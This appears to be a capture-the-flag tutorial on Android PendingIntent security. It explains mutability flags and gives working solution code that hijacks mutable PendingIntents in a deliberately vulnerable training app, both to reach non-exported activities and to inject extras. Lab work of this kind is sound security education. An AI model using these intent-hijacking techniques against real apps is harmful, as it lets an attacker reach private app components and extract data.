Note: this section requires a full understanding of Intent attack surface.
Let’s say we have two apps:
AndroidManifest.xml, this activity is marked
as android:exported="false". This is very important. It
means no other app on the phone is allowed to start this activity
directly. It’s for internal use only.The Problem
If App B tried to launch the diary entry screen directly, it would fail.
In App B’s code:
// THIS WILL FAIL
Intent intent = new Intent();
// Tries to explicitly name the private component in App A
intent.setComponent(new ComponentName("com.example.secure_diary", "com.example.secure_diary.SecondActivity"));
try {
context.startActivity(intent);
} catch (SecurityException e) {
// CRASH! Android system blocks this, saying App B does not
// have permission to launch a non-exported activity in App A.
}This is the Android security model working perfectly. App B shouldn’t be able to force open private parts of App A.
The Solution With PendingIntent
Step 1: App A (Secure Diary) Creates the “Key”
App A must provide a way for App B to request a key. Let’s imagine App A has a BroadcastReceiver that listens for a “key request” from App B. When App B sends this broadcast, App A runs the following code:
// 1. Create the INTENT - The specific instruction.
// This points to our OWN private activity.
Intent intent = new Intent();
intent.setComponent(new ComponentName(
getPackageName(),
SecondActivity.class.getCanonicalName()
));
intent.putExtra("entry_template", "Meeting Notes"); // We can even add extras!
// 2. Create the PENDINGINTENT
// We wrap our private intent inside this special token.
PendingIntent pendingIntent = PendingIntent.getActivity(
this,
101, // A unique request code to identify this key
intent,
PendingIntent.FLAG_IMMUTABLE // ignore for now
);
// 3. Give the key to App B.App A has now created a secure token. This
pendingIntent object is a reference managed by the
Android system itself. It contains the instruction to launch
SecondActivity, but it can only be used to do that one
thing.
Step 2: App B (Shortcut Maker) Uses the “Key”
App B receives this pendingIntent object from App A.
Now, App B can attach this token to its widget. When the user taps
the widget, App B simply tells the system: “Use this key.”
// Assume 'theKeyFromAppA' is the PendingIntent object we received.
// We don't say "startActivity", we just say "send the request".
theKeyFromAppA.send();What happens when .send() is called?
.send() on the PendingIntent
token.PendingIntents refers to whether the contents of a
PendingIntent can be modified after it has been
created.
Starting from Android 12 (API level 31), Android requires
developers to explicitly declare whether a
PendingIntent is mutable or immutable [↗]
by setting one of these flags:
PendingIntent.FLAG_IMMUTABLEPendingIntent.FLAG_MUTABLELet’s say that the app io.hextree.attacksurface has
the following activity:
<activity
android:name="io.hextree.attacksurface.activities.Flag22Activity"
android:exported="true"/>public class Flag22Activity extends AppCompactActivity {
public Flag22Activity() {...}
@Override
protected void onCreate(Bundle bundle) throws PendingIntent.CanceledException {
super.onCreate(bundle);
this.f182f = new LogHelper(this);
PendingIntent pendingIntent = (PendingIntent) getIntent().getParcelableExtra("PENDING");
if (pendingIntent != null) {
try {
Intent intent = new Intent();
intent.getExtras();
intent.putExtra("success", true);
intent.putExtra("flag", this.f182f.appendLog(this.flag));
pendingIntent.send(this, 0, intent);
success(null, this);
} catch (Exception e) {...}
}
}
}Basically, it retrieves the PendingIntent, construct
a new Intent and calls
pendingIntent.send(). The key line happen when the app
executes pendingIntent.send() because it’s triggering
the operation that the PendingIntent rapresents. Most
importantly, the third argument (Intent) which is
merged with the original intent created when the
PendingIntent is made.
To obtain this flag, I created two activities:
<activity
android:name=".SecondActivity"
android:exported="false" />
<activity
android:name=".MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>In the MainActivity, we need to a
PendingIntent that targets my own
SecondActivity. One of the crucial point is to add the
flag PendingIntent.FLAG_MUTABLE since the target app
needs to be able to modify the Intent’s extras.
Intent targetIntent = new Intent();
targetIntent.setComponent(new ComponentName(
getPackageName(),
SecondActivity.class.getCanonicalName()
));
PendingIntent pendingIntent = PendingIntent.getActivity(this,0,targetIntent, PendingIntent.FLAG_MUTABLE);
Intent intent = new Intent();
intent.setComponent(new ComponentName(
"io.hextree.attacksurface",
"io.hextree.attacksurface.activities.Flag22Activity"
));
intent.putExtra("PENDING", pendingIntent);
startActivity(intent);SecondActivity code:
Intent intent = getIntent();
String flag = intent.getStringExtra("flag");
Log.d("Flag", String.valueOf(flag));Let’s say that the app io.hextree.attacksurface has
the following activity:
<activity
android:name="io.hextree.attacksurface.activities.Flag23Activity"
android:exported="false">
<intent-filter>
<action android:name="io.hextree.attacksurface.MUTATE_ME"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
</activity>public class Flag23Activity extends AppCompactActivity {
public Flag23Activity() {...}
@Override
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
Intent intent = getIntent();
String action = intent.getAction();
if (action == null) {
Toast.makeText(this, "Sending implicit intent with the flag\nio.hextree.attacksurface.MUTATE_ME", 1).show();
Intent intent2 = new Intent("io.hextree.attacksurface.GIVE_FLAG");
intent2.setClassName(getPackageName(), Flag23Activity.class.getCanonicalName());
PendingIntent activity = PendingIntent.getActivity(getApplicationContext(), 0, intent2, 33554432);
Intent intent3 = new Intent("io.hextree.attacksurface.MUTATE_ME");
intent3.addFlags(8);
intent3.putExtra("pending_intent", activity);
startActivity(intent3);
return;
}
if (action.equals("io.hextree.attacksurface.GIVE_FLAG")) {
if (intent.getIntExtra("code", -1) == 42) {
success(this);
} else {
Toast.makeText(this, "Condition not met for flag", 0).show();
}
}
}
}To obtain this flag, we need to send an intent with the action
io.hextree.attacksurface.GIVE_FLAG. However, due to
android:exported="false", we cannot send this type of
intent directly.
On first launch, we can see that the app sends an implicit intent
called MUTATE_ME, which contains a
PendingIntent to call itself back with
GIVE_FLAG. Therefore, we simply need to register
MUTATE_ME, retrieve the PendingIntent and
execute it.
There’s just one more problem: to get the flag, we need to add an
extra code call with a value of 42. According to the Google
documentation, the value 33554432 corresponds to
FLAG_MUTABLE, which allows us to modify the intent.
<activity
android:name=".MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
<intent-filter>
<action android:name="io.hextree.attacksurface.MUTATE_ME" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>Intent intent = getIntent();
if (intent != null) {
PendingIntent pendingIntent = intent.getParcelableExtra("pending_intent");
if (pendingIntent != null) {
Intent intent2 = new Intent();
intent2.putExtra("code", 42);
try {
pendingIntent.send(this, 0, intent2);
} catch (PendingIntent.CanceledException e) {
throw new RuntimeException(e);
}
}
}